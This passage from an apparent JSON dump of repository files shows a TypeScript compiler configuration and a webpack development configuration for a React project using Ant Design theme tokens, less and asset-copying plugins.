    "content": "{\n  \"compilerOptions\": {\n    \"jsx\": \"react\",\n    \"module\": \"commonjs\",\n    \"allowSyntheticDefaultImports\": true,\n    \"noImplicitAny\": false,\n    \"outDir\": \"./dist/\",\n    \"preserveConstEnums\": true,\n    \"removeComments\": true,\n    \"esModuleInterop\": true,\n    \"baseUrl\": \"src\",\n    \"sourceMap\": true,\n    \"moduleResolution\": \"node\",\n    \"target\": \"es6\",\n    \"paths\": {\n      \"compforms\": [\n        \"compforms\"\n      ],\n      \"components\": [\n        \"components\"\n      ],\n      \"utils\": [\n        \"utils\"\n      ]\n    }\n  },\n  \"include\": [\n    \"./src/**/**/*\"\n  ]\n}"
  },
  {
    "path": "webpack.config.js",
    "content": "const webpack = require('webpack');\r\nconst path = require('path');\r\nconst HtmlWebpackPlugin = require('html-webpack-plugin');\r\nconst { CleanWebpackPlugin } = require('clean-webpack-plugin');\r\nconst CopyWebpackPlugin = require('copy-webpack-plugin');\r\nconst ReactRefreshWebpackPlugin = require('@pmmmwh/react-refresh-webpack-plugin');\r\nconst { theme } = require('antd/lib');\r\nconst { convertLegacyToken } = require('@ant-design/compatible/lib');\r\nconst { defaultAlgorithm, defaultSeed } = theme;\r\nconst mapToken = defaultAlgorithm(defaultSeed);\r\nconst v4Token = convertLegacyToken(mapToken);\r\n\r\nconst lessLoader = {\r\n\tloader: 'less-loader',\r\n\toptions: {\r\n\t\tlessOptions: {\r\n\t\t\tjavascriptEnabled: true,\r\n            modifyVars: v4Token,\r\n\t\t}\r\n\t}\r\n};\r\n\r\n\r\n\r\nmodule.exports = {\r\n\tmode: 'development',\r\n\tentry: {\r\n\t\tapp: './src/App.tsx'\r\n\t},\r\n\tplugins: [\r\n\t\tnew webpack.HotModuleReplacementPlugin(),\r\n\t\tnew CleanWebpackPlugin(),\r\n\t\tnew ReactRefreshWebpackPlugin(),\r\n\t\tnew HtmlWebpackPlugin({\r\n\t\t\ttitle: 'Output Management',\r\n\t\t\ttemplate: './src/index.html'\r\n\t\t}),\r\n\t\tnew CopyWebpackPlugin({\r\n\t\t\tpatterns: [\r\n\t\t\t\t{\r\n\t\t\t\t\tfrom: './src/manifest.json',\r\n\t\t\t\t\tto: './',\r\n\t\t\t\t\tnoErrorOnMissing: true\r\n\t\t\t\t},\r\n\t\t\t\t{\r\n\t\t\t\t\tfrom: './src/assets/img/icons/*',\r\n\t\t\t\t\tto: './',\r\n\t\t\t\t\tnoErrorOnMissing: true\r\n\t\t\t\t},\r\n\t\t\t\t{\r\n\t\t\t\t\tfrom: './src/assets/icons/*',\r\n\t\t\t\t\tto: './',\r\n\t\t\t\t\tnoErrorOnMissing: true\r\n\t\t\t\t},\r\n\t\t\t\t{\r\n\t\t\t\t\tfrom: './src/devtools/*',\r\n\t\t\t\t\tto: './',\r\n\t\t\t\t\tnoErrorOnMissing: true\r\n\t\t\t\t},\r\n\t\t\t\t{\r\n\t\t\t\t\tfrom: './src/assets/img/icons/iconfont.js',\r\n\t\t\t\t\tto: './',\r\n\t\t\t\t\tnoErrorOnMissing: true\r\n\t\t\t\t}\r\n\t\t\t]\r\n\t\t})\r\n\t],\r\n\tresolve: {\r\n\t\textensions: [ '.js', '.jsx', '.tsx', '.ts' ],\r\n\t\talias: {\r\n\t\t\t'react-dom': '@hot-loader/react-dom'\r\n\t\t}\r\n\t},\r\n\toutput: {\r\n\t\tfilename: '[name].bundle.js',\r\n\t\tpath: path.resolve(__dirname, 'dist')\r\n\t},\r\n\toptimization: {\r\n\t\tsplitChunks: {\r\n\t\t\tchunks: 'all'\r\n\t\t}\r\n\t},\r\n\tmodule: {\r\n\t\trules: [\r\n\t\t\t{\r\n\t\t\t\ttest: /\\.(js|jsx)$/,\r\n\t\t\t\tinclude: path.resolve(__dirname, 'src'),\r\n\t\t\t\tloader: 'babel-loader'\r\n\t\t\t},\r\n\t\t\t{\r\n\t\t\t\ttest: /\\.(ts|tsx)$/,\r\n\t\t\t\tloader: 'ts-loader',\r\n\t\t\t\texclude: /node_modules/\r\n\t\t\t},\r\n\t\t\t{\r\n\t\t\t\ttest: /\\.(png|svg|jpg|gif)$/,\r\n\t\t\t\tinclude: path.resolve(__dirname, 'src'),\r\n\t\t\t\tuse: [ 'file-loader' ]\r\n\t\t\t},\r\n\t\t\t{\r\n\t\t\t\ttest: /\\.(woff|woff2|eot|ttf|otf)$/,\r\n\t\t\t\tinclude: path.resolve(__dirname, 'src'),\r\n\t\t\t\tuse: [ 'file-loader' ]\r\n\t\t\t},\r\n\t\t\t{\r\n\t\t\t\ttest: /\\.theme\\.(less|css)$/i,\r\n\t\t\t\tuse: [\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tloader: 'style-loader',\r\n\t\t\t\t\t\toptions: { injectType: 'lazyStyleTag' }\r\n\t\t\t\t\t},\r\n\t\t\t\t\t'css-loader',\r\n\t\t\t\t\tlessLoader\r\n\t\t\t\t]\r\n\t\t\t},\r\n\t\t\t{\r\n\t\t\t\ttest: /\\.(less|css)$/,\r\n\t\t\t\texclude: /\\.theme\\.(less|css)$/i,\r\n\t\t\t\tuse: [ 'style-loader', 'css-loader' ]\r\n\t\t\t}\r\n\t\t]\r\n\t}\r\n};\r\n"
  }
]